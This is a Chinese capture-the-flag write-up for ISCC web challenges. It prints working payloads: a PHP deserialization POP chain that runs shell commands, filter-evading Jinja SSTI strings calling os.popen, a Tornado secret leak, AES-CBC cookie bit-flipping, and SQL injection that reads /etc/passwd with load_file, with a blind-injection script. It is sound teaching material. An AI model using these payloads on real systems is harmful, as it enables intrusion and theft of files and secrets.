目录

  • 练武
    • ISCC客服冲冲冲(一)
    • 这是啥
    • 正则匹配最后的倔强。
    • 登录
    • which is the true iscc
    • ISCC客服一号冲冲冲(二)
    • lovely ssti
  • 擂台
    • tornado
    • easyweb

练武

ISCC客服冲冲冲(一)

又到了一年一度的ISCC,客服一号为了保住饭碗(被迫)参与了今年的客服海选投票。经过激烈的角逐,客服一号终于凭借着自己多年的客服经验来到决赛的舞台,却发现对手竟是自己???
请帮助真正的客服一号在投票中取胜,保住客服一号的饭碗! 题目入口:http://39.96.91.106:7020

方法一:使用连点器
设置每秒点击100次,得到flag

方法二:修改按钮ID
F12将两个按钮的id交换
方法三
js调用click函数,控制台输入

setInterval(function(){document.getElementById("left_button").click();},1);

方法四:刷票

local_left_votes=999999

这是啥

这是什么东西呢?
题目入口:http://39.96.91.106:7030

下载附件,将jsfuck编码丢到控制台得到flag

正则匹配最后的倔强。

按照提示访问robots.txt,不允许所有人访问/src/code/code.txt

访问/code/code.txt得到源码

<?php
<p>code.txt</p>if (isset ($_GET['password'])) {if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE){echo '<p>You password must be alphanumeric</p>';}else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){    if (strpos ($_GET['password'], '*-*') !== FALSE){die('Flag: ' . $flag);}else{echo('<p>*-* have not been found</p>');}}else{echo '<p>Invalid password</p>';}
}
?>

Bugku原题,传入的值必须是数字或大小写字符,长度小于8且大于9999999,且匹配到"-"才能输出flag。可以使用%00来截断,当ereg函数读到 %00的时候,就截止了。

Payload: ?password=1e8%00*-*

flag:

登录

登录来上传自己的信息吧!
题目入口:http://39.96.91.106:7010

这是一道原题: [0CTF 2016] piapiapia,参考wp

www.zip源码泄露,可直接下载源码。

源码如下:

config.php

<?php$config['hostname'] = '127.0.0.1';$config['username'] = 'root';$config['password'] = '';$config['database'] = '';$flag = '';
?>

class.php

<?php
require('config.php');class user extends mysql{private $table = 'users';public function is_exists($username) {$username = parent::filter($username);$where = "username = '$username'";return parent::select($this->table, $where);}public function register($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$key_list = Array('username', 'password');$value_list = Array($username, md5($password));return parent::insert($this->table, $key_list, $value_list);}public function login($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$where = "username = '$username'";$object = parent::select($this->table, $where);if ($object && $object->password === md5($password)) {return true;} else {return false;}}public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {return __class__;}
}class mysql {private $link = null;public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['username'], $config['password']);mysql_select_db($config['database']);mysql_query("SET sql_mode='strict_all_tables'");return $this->link;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function insert($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)";return mysql_query($sql);}public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}
}
session_start();
$user = new user();
$user->connect($config);

register.php

<?phprequire_once('class.php');if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = $_POST['password'];if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password');if(!$user->is_exists($username)) {$user->register($username, $password);echo 'Register OK!<a href="index.php">Please Login</a>';       }else {die('User name Already Exists');}}else {?>

profile.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>

update.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {?>

1.审计代码

  • config.php
    flag在这里

  • register.php
    注册账号,对帐号密码长度做出限制

  • profile.php
    (1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容
    (2)用base64编码对上传文件进行了读取和显示

  • update.php
    (1)phone 长度为11位;
    (2)nickname长度小于 10 位,且只能为字母和数字;
    (3)将用户填写的 phone、email、nickname 以及上传的文件进行序列化

  • class.php
    存在参数过滤,filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.

存在参数过滤,where被替换成hacker,长度加1

2.序列化profile
update.php中POST提交完后对$profile进行序列化操作

<?php
$profile = array();
$profile['phone'] = '18288669977';
$profile['email'] = '2233445588@qq.com';
$profile['nickname'] = 'xiaom';
$profile['photo'] = 'config.php';echo serialize($profile);
?>

结果为

a:4:{s:5:"phone";s:11:"18288669977";s:5:"email";s:17:"2233445588@qq.com";s:8:"nickname";s:5:"xiaom";s:5:"photo";s:10:"config.php";}

下面可以利用php反序列化字符逃逸

PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。

3.反序列化字符逃逸
这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项

";}s:5:"photo";s:10:"config.php";}

上面的字符串一共34个字符,所以需要在 nickname 处多添加34位长的数据,才能将这段数据挤到 photo 的位置上去。

class.php代码中存在过滤, where 被替换成了 hacker,此时字符串的长度加 1 ,如果在 nickname 处填进 34 个where,就会被替换成 34 个 hacker,即nickname 的长度超出了 34 位。

得到payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

访问register.php,注册账号,然后登陆,在Nickname处填入上面的payload

抓包,将Nickname修改为Nickname[]数组类型

4.利用base64编码读取flag
放包,点击超链接跳转到profile.php页面,查看源码

一段Base编码

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdJU0NDe3doYXRfaXNAdGhlJl9uaWNrbmFtZSo/MTExMjIzNH0nOwo/Pgo=

Base64解码得到flag

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'ISCC{what_is@the&_nickname*?1112234}';
?>

which is the true iscc

小夏同学很想知道ISCC到底是什么,不过上网后的搜索让他更加迷惑了——怎么有这么多ISCC??到底哪个ISCC是真的呢?你能帮他找到真正的ISCC吗?
题目入口:http://39.96.91.106:7050

访问题目地址,查看源码

<!--
<a href="/?whatareyounongshane=src">我真的是源码?</a>
<a href="/?whatareyounongshane=cmd">干点好事!</a>
<a href="/?whatareyounongshane=upload">送点东西!</a>
<a href="/?whatareyounongshane=tellmetruth">快告诉我真相!</a>
-->

按照提示,访问/?whatareyounongshane=src,得到源码:

<?phpsession_start();
ini_set('max_execution_time', '5');
set_time_limit(5);$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;class ISCC_Upload {function __wakeup() {global $cmd;global $is_upload;$cmd = "whoami";$_SESSION['name'] = randstr(14);$is_upload = (count($_FILES) > 0);}function __destruct() {global $is_upload;global $status;global $iscc_file;$status = "upload_fail";if ($is_upload) {foreach ($_FILES as $key => $value)$GLOBALS[$key] = $value;if(is_uploaded_file($iscc_file['tmp_name'])) {$check = @getimagesize($iscc_file["tmp_name"]);if($check !== false) {$target_dir = "/var/tmp/";$target_file = $target_dir . randstr(10);if (file_exists($target_file)) {echo "想啥呢?有东西了……<br>";finalize();exit;}if ($iscc_file["size"] > 500000) {echo "东西塞不进去~<br>";finalize();exit;}if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {echo "我拿到了!<br>";$iscc_file = $target_file;$status = "upload_ok";} else {echo "拿不到:(<br>";finalize();exit;}} else {finalize();exit;}} else {echo "你真是个天才!<br>";finalize();exit;}}}
}class ISCC_ResetCMD {protected $new_cmd = "echo '新新世界,发号施令!'";function __wakeup() {global $cmd;global $is_upload;global $status;$_SESSION['name'] = randstr(14);$is_upload = false;if(!isset($this->new_cmd)) {$status = "error";$error = "你这罐子是空的!";throw new Exception($error);}if(!is_string($this->new_cmd)) {$status = "error";$error = '东西都没给对!';throw new Exception($error);}}function __destruct() {global $cmd;global $status;$status = "reset";if($_SESSION['name'] === 'isccIsCciScc1scc') {$cmd = $this->new_cmd;}}}class ISCC_Login {function __wakeup() {$this->login();}function __destruct() {$this->logout();}function login() {$flag = file_get_contents("/flag");$pAssM0rd = hash("sha256", $flag);if($_GET['pAssM0rd'] === $pAssM0rd)$_SESSION['name'] = "isccIsCciScc1scc";}function logout() {global $status;unset($_SESSION['name']);$status = "finish";}}class ISCC_TellMeTruth {function __wakeup() {if(!isset($_SESSION['name']))$_SESSION['name'] = randstr(14);echo "似乎这个 ".$_SESSION['name']." 是真相<br>";}function __destruct() {echo "似乎这个 ".$_SESSION['name']." 是真相<br>";}}class ISCC_Command {function __wakeup() {global $cmd;global $is_upload;$_SESSION['name'] = randstr(14);$is_upload = false;$cmd = "whoami";}function __toString() {global $cmd;return "看看你干的好事: {$cmd} <br>";}function __destruct() {global $cmd;global $status;global $is_unser_finished;$status = "cmd";if($is_unser_finished === true) {echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";echo "<span style='color:blue'>";@system($cmd);echo "</span>";}}}function randstr($len)
{$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';$randstring = '';for ($i = 0; $i < $len; $i++) {$randstring .= $characters[rand(0, strlen($characters))];}return $randstring;
}function waf($s) {if(stripos($s, "*") !== FALSE)return false;return true;
}function finalize() {$cmd = "";$is_upload = false;unset($_SESSION);@unlink($iscc_file);$status = "finish";echo "<img src='whichisthetrueiscc.gif'><br>";
}if(isset($_GET['whatareyounongshane'])) {$whatareyounongshane = $_GET['whatareyounongshane'];switch ($whatareyounongshane) {case "src":highlight_file(__FILE__);break;case "cmd":echo "想越级干好事?还是有门的……";header('Location: /?%3f=O:12:"ISCC_Command":0:{}');break;case "reset":echo "几辈子积累的好运就在这时~:p";header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');break;case "upload":$resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data"><input type="file" name="iscc_file"><input type="submit" value="Upload Image" name="submit">
</form>
EOF;echo $resp;break;case "tellmetruth":echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');break;default:echo "空空如也就是我!";}finalize();die("所以哪个ISCC是真的?<br>");
}if(isset($_GET['?'])) {$wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));if($goodshit = @unserialize($wtf)) {$is_unser_finished = true;}if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))finalize();die("所以哪个ISCC是真的?<br>");
}?>

ISCC_Command类里面的__destruct方法可以执行cmd命令

function __destruct() {global $cmd;global $status;global $is_unser_finished;$status = "cmd";if($is_unser_finished === true) {echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";echo "<span style='color:blue'>";@system($cmd);echo "</span>";}}

在ISCC_ResetCMD类里面对cmd进行重新赋值

class ISCC_ResetCMD {protected $new_cmd = "echo '新新世界,发号施令!'";function __destruct() {global $cmd;global $status;$status = "reset";if($_SESSION['name'] === 'isccIsCciScc1scc') {$cmd = $this->new_cmd;}}}

这里的__destruct方法必须得满足这个才能重置命令,即需要名为isccIsCciScc1scc的SESSION

if($_SESSION['name'] === 'isccIsCciScc1scc') {$cmd = $this->new_cmd;}

通过变量覆盖来控制$_SESSION的值

ISCC__Upload类:

class ISCC_Upload {function __wakeup() {global $cmd;global $is_upload;$cmd = "whoami";$_SESSION['name'] = randstr(14);$is_upload = (count($_FILES) > 0);}function __destruct() {global $is_upload;global $status;global $iscc_file;$status = "upload_fail";if ($is_upload) {foreach ($_FILES as $key => $value)$GLOBALS[$key] = $value;

其中$GLOBALS['key'] = value;为全局变量的覆盖,当$is_upload为true的时候,就会触发这个循环,可以实现$_SESSION的变量覆盖。

而在upload类里面的__wakeup方法里面$is_upload = (count($_FILES) > 0);会把他设置成true,其他的类都设置成了false。

这里了解一下$_FILES$_FILES通过 HTTP POST 方式上传到当前脚本的项目的数组。
数组内容如下:

$_FILES['userfile']['name']       #客户端机器文件的原名称。
$_FILES['userfile']['type']      #文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size']      #已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name']    #文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error']       #和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。

所以我们就要让upload执行__destruct的时候,is_upload是true
这就要求,最早执行__destruct,最晚执行__wakeup,所以就可以按一定顺序来构造POP链

由于有一个waf函数,不能出现*

function waf($s) {if(stripos($s, "*") !== FALSE)return false;return true;
}

但是ISCC_ResetCMD类的$new_cmd的属性是protected的,序列化后会带有*,这就需要ISCC_Upload类的__wakeup在这些类的最后进行,但是__destruct要在第一个开始。需要按一定顺序来构造POP链::

<?php
class ISCC_Command {}
class ISCC_ResetCMD {protected $new_cmd = "cat /flag";}
class ISCC_Upload {}
$a=array('a'=>new ISCC_Upload(),'b'=>new ISCC_ResetCMD(),'c'=>new ISCC_Command(),
);
$b=serialize($a);
echo $b;

利用16进制绕过,将s替换成S,在序列化内容中使用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制进行表示。使用url编码一下,然后替换s即可。

重新构造POP链:

<?php
class ISCC_Command {}
class ISCC_ResetCMD {protected $new_cmd = "cat /flag";}
class ISCC_Upload {}
$a=array('a'=>new ISCC_Upload(),'b'=>new ISCC_ResetCMD(),'c'=>new ISCC_Command(),
);
$b=urlencode(serialize($a));
$b=str_replace("s","S",$b);
$b=str_replace("%2A",'\2a',$b);
echo $b;

运行得到:

a%3A3%3A%7BS%3A1%3A%22a%22%3BO%3A11%3A%22ISCC_Upload%22%3A0%3A%7B%7DS%3A1%3A%22b%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A1%3A%7BS%3A10%3A%22%00\2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3B%7DS%3A1%3A%22c%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D

通过python脚本上传,注意图片不能太大

import requestsurl="http://39.96.91.106:7050/"files={'iscc_file':("b",open("atkx.jpg","rb")),"_SESSION":("isccIsCciScc1scc","123")
}
headers={'Cookie':"XDEBUG_SESSION=PHPSTORM"
}
r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files,headers=headers)print(r.text)

得到flag

ISCC客服一号冲冲冲(二)

经过激烈的竞争,客服一号终于通过自己的努力(选手的帮助),保住了自己的饭碗(获得了客服的密码),可当他打开客服登录窗口,却发现怎么也登不上去了。
你能帮他看看怎么回事吗? 题目入口:http://39.96.91.106:8210/ Flag格式:iscc{XXX}

查看源码,看到login.bmp,下载

蓝色通道最低位有异常,另存为login.html

查看源码

<?php
define("SECRET_KEY", '101010031231243214');
define("METHOD", "aes-128-cbc");
session_start();function get_random_iv(){$random_iv='';for($i=0;$i<16;$i++){$random_iv.=chr(rand(1,255));}return $random_iv;
}function login($info){$iv = get_random_iv();$plain = serialize($info);$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);$_SESSION['username'] = $info['username'];$_SESSION['password'] = $info['password'];setcookie("iv", base64_encode($iv));setcookie("cipher", base64_encode($cipher));
}function check_login(){if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){$cipher = base64_decode($_COOKIE['cipher']);$iv = base64_decode($_COOKIE["iv"]);if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");$_SESSION['username'] = $info['username'];}else{die("ERROR!");}}
}function show_homepage(){if ($_SESSION["username"]==='admin'&& $_SESSION["password"]=== password){echo '<p>Hello admin</p>';echo '<p>Flag is '.flag.'</p>';}else if($_SESSION["password"] == password){echo '<p>hello '.$_SESSION['username'].'</p>';echo '<p>You can\'t see flag</p>';}else{echo '<p>Sorry,password is incorrect</p>';}
}if(isset($_POST['username']) && isset($_POST['password'])){$username = (string)$_POST['username'];$password = (string)$_POST['password'];if($username === 'admin'){exit('<p>admin are not allowed to login</p>');}else{$info = array('username'=>$username,'password'=>$password);login($info);show_homepage();}
}else{if(isset($_SESSION["username"])){check_login();show_homepage();}else{echo '<body class="login-body"><div id="wrapper" style = "width:800px; height:200px; overflow:hidden;"><img class="img1" src="login.bmp"  alt="login" /></div></body>';}
}
?>

阅读源代码,我们可以知道,只有admin用户才能读取flag,但是admin用户又不允许登录。虽然相互矛盾,由于题目用到了aes的cbc模式加密,所以我们可以利用cbc字节翻转攻击来得到我们想要的明文。

Bugku Login4原题,考查CBC字节翻转攻击

这是组合题,猜测密码是(一)的flag

POST
username=admix&password=1SCC_2o2l_KeFuu&submit=Login


题目将用户名密码传入数组并序列化得到

a:2:{s:8:"username";s:5:"admil";s:8:"password";s:15:"1SCC_2o2l_KeFuu";

接下来进行aes加密,并将得到的cipher和iv进行base64编码放入cookie中(cookie对于攻击者来说可控,所以存在cbc字节翻转攻击)

明文加密时分组为:

a:2:{s:8:"userna
me";s:5:"admil";
s:8:"password";s
:15:"1SCC_2o2l_K
eFuu";} 

因此我们只需要将"x"字节翻转为"n"即可得到flag。

根据我们得到的关系,已知只需修改前一组密文即可。

$newcipher[13]=chr(ord(13) ^ ord(‘x’) ^ ord(‘n’))

这时我们就会得到

a:2:{s:8:"username";s:5:"admin";s:8:"password";s:15:"1SCC_2o2l_KeFuu";

但是由于前一组密文被修改了 所以前一组的明文会出现乱码,因此接下来我们再生成新的iv将前一组明文改回a:2:{s:8:"userna 即可得到flag。

下面开始操作:

<?php
header("Content-Type: text/html;charset=utf-8");#计算cipher/*明文1:a:2:{s:8:"userna      //r明文2:me";s:5:"admix";       //l字母在第14个字节明文3:s:8:"password";s明文4::3:"123";}*/$cipher = base64_decode(urldecode('y2x2UEGxPieluLPfmaOe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D'));$temp = $cipher;/*设密文1[13]=A, 解密(密文2)[13]=B, 明文2[13]=C, 将A修改为A ^ C,则:A ^ B = A ^ C ^ B = B ^ B = 0 = C*///                      A                 C          X$cipher[13] = chr(ord($cipher[13]) ^ ord('x') ^ ord('n'));echo urlencode(base64_encode($cipher));#Set-Cookie: iv=UlaTx7%2Bd%2B3R0%2BQG0wM0t%2BQ%3D%3D
#Set-Cookie: cipher=y2x2UEGxPieluLPfmaOe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D?>

得到

y2x2UEGxPieluLPfmbWe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D

这里提示反序列化失败了

重新计算vi

<?php#计算iv$res = base64_decode('udWanuvQSROPYCexu0Urn21lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiIxU0NDXzJvMmxfS2VGdXUiO30=');   //这里放burp放回的base64数据$iv = base64_decode(urldecode('UlaTx7%2Bd%2B3R0%2BQG0wM0t%2BQ%3D%3D')); //这里放cookie中的iv  iv=kCoJjjQMy%2BIQATaagMVpbw%3D%3D;$plaintext = 'a:2:{s:8:"userna';$new_iv = '';for ($i = 0; $i < 16; $i ++){$new_iv = $new_iv . chr(ord($iv[$i]) ^ ord($res[$i]) ^ ord($plaintext[$i]));}echo urlencode(base64_encode($new_iv));
?>

得到新的iv值传过去

irk7Yy8%2BiF%2FBu1N2HvpoBw%3D%3D

最终flag为

lovely ssti

MiaoMiaoMiao~这里有一只可爱的暹罗猫猫
题目入口:http://39.96.91.106:3010/

查看可用字符

Payload: ?xiaodouni={%print%20lipsum|select|string|list%}


没做过多少SSTI方面的题,会单独弄篇博客总结SSTI,暂时先贴一下大师傅们的Payload吧:

?xiaodouyu=
{%set%20xiahua=(config|select|string|list)[24]%}
{%set%20gb=(xiahua,xiahua,dict(class=a)|join,xiahua,xiahua)|join%}
{%set%20ini=(xiahua,xiahua,dict(init=a)|join,xiahua,xiahua)|join%}
{%set%20glo=(xiahua,xiahua,dict(globals=a)|join,xiahua,xiahua)|join%}
{%set%20gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set%20oo=dict(o=a,s=a)|join%}
{%%20set%20so=oo[::-1]%}
{%set%20pp=dict(pop=a,ne=b)|join%}
{%%20set%20opo=pp[::-1]%}
{%set%20rd=(dict(read=a)|join)%}
{%print config|attr(gb)|attr(ini)|attr(glo)|attr(gm)(so)|attr(opo)("cat /usr/?????is?here????")|attr(rd)()%}   ?xiaodouyu=
{%set pp=(dict(pop=a))|join%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(24)%}
{%set g=(lipsum|select|string|list)|attr(pp)(1)%}
{%set gb=(xiahua,xiahua,g,dict(bals=a,lo=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,g,dict(e=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl))|attr("ge""t")("ch""r")%}
{%set dian=chcr(46)%}
{%set space=chcr(32)%}
{%set xing=chcr(42)%}
{%set shell=("cat ","requirements",dian,"txt")|join%}
{%set shell2=("find / -name ",xing,"fl","ag",xing)|join%}
{%set shell2=("cat /usr/fl","ag",xiahua,"is",xiahua,"here",dian,"txt")|join%}
{{ lipsum|attr(gb)|attr(gm)("o""s")|attr("po""pen")(shell2)|attr("read")()}}?xiaodouyu=
{% set xiahua=(config|string)[14]%}
{% set gb=(xiahua,xiahua,"globals",xiahua,xiahua)|join %}
{% set bl=(xiahua,xiahua,"builtins",xiahua,xiahua)|join %}
{% set cr=(lipsum|attr(gb)|attr("get")(bl))["ch""r"] %}
{% set dian=cr(46)%}
{% set xing =cr(42)%}
{% set shell=("find / -name ",xing,"fla",xing)|join%}
{% set shell4 = "cat /usr/fla??is?here?txt"%}
{{(lipsum|attr(gb)|attr("get")("o""s")|attr("po""pen")(shell4))|attr("read")()}}

擂台

tornado

Tornado 是什么呢?
题目入口:http://39.96.91.106:7060

在BUU上做过,是道原题

从三个链接可以得到以下信息:

  1. flag.txt:flag在/fllllllllllllaaaaaag文件里面
  2. welcome.txt:根据提示render,可以知道存在模板注入
  3. hints.txt:md5(cookie_secret+md5(filename))

当访问/hints.txt,发现url栏变为:

/file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15

直接访问fllllllllllllaaaaaag文件

Payload: /file?filename=/fllllllllllllaaaaaag

需要计算filehash的值,即md5(cookie_secret+md5(filename))的值。filename已经知道了是/fllllllllllllaaaaaag,下面需要找到cookie_secret。

Tornado框架的附属文件handler.settings中存在cookie_secret,进行模板注入:

Payload:error?msg={{handler.settings}}

得到cookie_secret的值

直接使用脚本:

import hashlibdef md5value(s):md5 = hashlib.md5() md5.update(s) return md5.hexdigest()def jiami(): filename = '/fllllllllllllaaaaaag'cookie_secret ="ef57c331-744f-4528-b434-9746317d4f6a"print("md5(filename): "+md5value(filename.encode('utf-8')))x=md5value(filename.encode('utf-8'))y=cookie_secret+xprint("md5(cookie_secret+md5(filename)): "+md5value(y.encode('utf-8')))jiami()import hashlibdef md5value(s):md5 = hashlib.md5()md5.update(s.encode())return md5.hexdigest()def jiami():filename = '/fllllllllllllaaaaaag'cookie_secret ="ef57c331-744f-4528-b434-9746317d4f6a"print(md5value(cookie_secret + md5value(filename)))jiami()

得到

md5(filename): 9395bd4a7a7cae3ce1f6dc17aeb2d2b8
md5(cookie_secret+md5(filename)): 1ad9b8e09fbe539bc5a6f2c8bc0ab5db

最终payload为

/file?filename=/fllllllllllllaaaaaag&filehash=1ad9b8e09fbe539bc5a6f2c8bc0ab5db

easyweb

简单的web
题目入口:http://39.96.91.106:5001/
Flag格式:iscc{XXX}

查看源码

<!--?id-->

测试一下,id=1,2,3页面均返回数据,其它返回error

万能密码?id=1' or 1=1#,返回die

测试了一下,使用?id=1'||1=1%23成功返回数据

fuzz一下,过滤了好多

select、 union、 or、 ord 、 from、information_schema、空格等

好多代替空格的都被过滤了,仅剩%0d没有过滤
select过滤了,使用seselectlect双写绕过

得到回显位

?id=0'%0dununionion%0dselselectect%0d1,2,3%23#Your Login name:2
#Your Password:3

爆库名

?id=0'%0dununionion%0dselselectect%0d1,database(),version()%23#Your Login name:iscc_web
#Your Password:5.7.33-0ubuntu0.16.04.1

发现当前数据库版本为5.7.33

接下来就是爆表名

from、information_schema都被过滤了,FROM大写绕过,关于绕过information_schema参考mysql注入绕过information_schema过滤。

当前数据库版本为5.7,可用sys.schema_auto_increment_columns代替information_schema

Paylaod: ?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFrom%0dsys.schema_auto_increment_columns),3%0d%23#Your Login name:iscc_flag
#Your Password:3

猜测列名为flag,爆值

Paylaod: ?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dflag%0dFROM%0discc_flag),3%0d%23#Your Login name:cccmd.php
#Your Password:3

访问cccmd.php

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){exit("die!!");}else{echo `$c`;}
}else{highlight_file(__FILE__);
}
?>
<!--flllllllllaaag.php-->

显然flag在flllllllllaaag.php中,首先要知道当前路径,执行pwd,得到当前绝对路径:

/cccmd.php?c=pwd
#/var/www/const

load_file函数没有被过滤,尝试读取/etc/passwd

?id=0'%0duniunionon%0dselselectect%0d1,(load_file('/etc/passwd')),3%23

成功读取

路径知道了,接下来直接读取flllllllllaaag.php

?id=0'%0duniunionon%0dselselectect%0d1,(load_file('/var/www/const/flllllllllaaag.php')),3%23#F12查看源码得到<?php$flag="iscc{eeeeeasy_web!!666666}"

贴一下大师傅的脚本

import requestsurl = "http://39.96.91.106:5001/?id="result = ""
i = 0while (True):i = i + 1head = 32tail = 127while (head < tail):mid = (head + tail) >> 1payload = "0%27||if(ascii(substr((seselectlect%0dhex(load_file(0x2f7661722f7777772f636f6e73742f666c6c6c6c6c6c6c6c6c616161672e706870))),{},1))>{},1,0)%23".format(i,mid)r = requests.get(url + payload)r.encoding = "utf-8"# print(url+payload)if "Your Login name" in r.text:head = mid + 1else:# print(r.text)tail = midlast = resultif head != 32:result += chr(head)else:breakprint(result)

得到

3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E

然后hex转字符串即可

m="3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E"
